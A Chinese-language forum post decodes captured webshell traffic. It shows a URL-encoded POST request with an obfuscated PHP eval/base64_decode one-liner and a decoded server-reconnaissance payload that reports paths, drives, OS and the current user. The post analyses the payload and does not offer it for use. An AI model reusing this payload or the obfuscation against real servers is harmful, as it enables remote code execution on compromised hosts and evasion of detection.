帮忙解密一下下面代码，并说下解密过程，多谢了
xise=%40eval%2F%2A%15%99%D0%21%03%19s%20%0B%CB%A8%DD%E3%A3%C5%C4%BB%C5%CE%2A%2F%01%28%24%7B%27%5FP%27.%27OST%27%7D%5Bz9%5D%2F%2A%A0%9B%3F%C0%9A%3F%E0%99%3F%20%99%E3%2A%2F%01%28%24%7B%27%5FPOS%27.%27T%27%7D%5Bz0%5D%29%29%3B&z0=MTYxMTEyO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JHJvb3Q9aXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSk%2FJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTooaXNzZXQoJF9TRVJWRVJbJ0FQUExfUEhZU0lDQUxfUEFUSCddKT90cmltKCRfU0VSVkVSWydBUFBMX1BIWVNJQ0FMX1BBVEgnXSwiXFwiKTooaXNzZXQoJF9bJ1BBVEhfVFJBTlNMQVRFRCddKT9zdHJfcmVwbGFjZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSk6c3RyX3JlcGxhY2Uoc3RyX3JlcGxhY2UoIi8iLCJcXCIsaXNzZXQoJF9TRVJWRVJbIlBIUF9TRUxGIl0pPyRfU0VSVkVSWyJQSFBfU0VMRiJdOihpc3NldCgkX1NFUlZFUlsiVVJMIl0pPyRfU0VSVkVSWyJVUkwiXTokX1NFUlZFUlsiU0NSSVBUX05BTUUiXSkpLCIiLGlzc2V0KCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk%2FJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdOiRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpKTskUj0ieyREfXwiLiRyb290LiJ8IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJ8IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk%2FJHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7&z9=BaSE64%5FdEcOdE
xise=%40eval%2F%2A%15%99%D0%21%03%19s%20%0B%CB%A8%DD%E3%A3%C5%C4%BB%C5%CE%2A%2F%01%28%24%7B%27%5FP%27.%27OST%27%7D%5Bz9%5D%2F%2A%A0%9B%3F%C0%9A%3F%E0%99%3F%20%99%E3%2A%2F%01%28%24%7B%27%5FPOS%27.%27T%27%7D%5Bz0%5D%29%29%3B&z0=MTYxMTEyO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JHJvb3Q9aXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSk%2FJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTooaXNzZXQoJF9TRVJWRVJbJ0FQUExfUEhZU0lDQUxfUEFUSCddKT90cmltKCRfU0VSVkVSWydBUFBMX1BIWVNJQ0FMX1BBVEgnXSwiXFwiKTooaXNzZXQoJF9bJ1BBVEhfVFJBTlNMQVRFRCddKT9zdHJfcmVwbGFjZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSk6c3RyX3JlcGxhY2Uoc3RyX3JlcGxhY2UoIi8iLCJcXCIsaXNzZXQoJF9TRVJWRVJbIlBIUF9TRUxGIl0pPyRfU0VSVkVSWyJQSFBfU0VMRiJdOihpc3NldCgkX1NFUlZFUlsiVVJMIl0pPyRfU0VSVkVSWyJVUkwiXTokX1NFUlZFUlsiU0NSSVBUX05BTUUiXSkpLCIiLGlzc2V0KCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk%2FJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdOiRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpKTskUj0ieyREfXwiLiRyb290LiJ8IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJ8IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk%2FJHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7&z9=BaSE64%5FdEcOdE
z0=urldecode("MTYxMTEyO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JHJvb3Q9aXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSk%2FJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTooaXNzZXQoJF9TRVJWRVJbJ0FQUExfUEhZU0lDQUxfUEFUSCddKT90cmltKCRfU0VSVkVSWydBUFBMX1BIWVNJQ0FMX1BBVEgnXSwiXFwiKTooaXNzZXQoJF9bJ1BBVEhfVFJBTlNMQVRFRCddKT9zdHJfcmVwbGFjZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSk6c3RyX3JlcGxhY2Uoc3RyX3JlcGxhY2UoIi8iLCJcXCIsaXNzZXQoJF9TRVJWRVJbIlBIUF9TRUxGIl0pPyRfU0VSVkVSWyJQSFBfU0VMRiJdOihpc3NldCgkX1NFUlZFUlsiVVJMIl0pPyRfU0VSVkVSWyJVUkwiXTokX1NFUlZFUlsiU0NSSVBUX05BTUUiXSkpLCIiLGlzc2V0KCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk%2FJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdOiRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpKTskUj0ieyREfXwiLiRyb290LiJ8IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJ8IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk%2FJHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7");
解出后z0为:
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="") $D=dirname($_SERVER["PATH_TRANSLATED"]);
$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\\"):(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):str_replace(str_replace("/","\\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:(isset($_SERVER["URL"])?$_SERVER["URL"]:$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:$_SERVER["SCRIPT_FILENAME"])));
$R="{$D}|".$root."|";
if(substr($D,0,1)!="/"){
foreach(range("A","Z") as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}
$R.="|";
$u=(function_exists('posix_getegid')) ? @posix_getpwuid(@posix_geteuid()) : '';
$usr=($u)?$u['name']:@get_current_user();
$R.=php_uname();
$R.="({$usr})";
print $R;;echo("|<-");
die();
z9=urldecode("BaSE64%5FdEcOdE") 就是base64_decode函数 %40eval%2F%2A%15%99%D0%21%03%19s%20%0B%CB%A8%DD%E3%A3%C5%C4%BB%C5%CE%2A%2F%01%28%24%7B%27%5FP%27.%27OST%27%7D%5Bz9%5D%2F%2A%A0%9B%3F%C0%9A%3F%E0%99%3F%20%99%E3%2A%2F%01%28%24%7B%27%5FPOS%27.%27T%27%7D%5Bz0%5D%29%29%3B
这段urldecode解码后是： @eval/*櫺!s 栓葶Ｅ幕盼*/(${'_P'.'OST'}[z9]/*牄?罋?鄼? 欍*/(${'_POS'.'T'}[z0])); 乱码部分不用管，因为包含在/**/中了，看到这基本上就猜出来，是把z0,z9两个变量的值POST，eval执行 ，也就是执行z0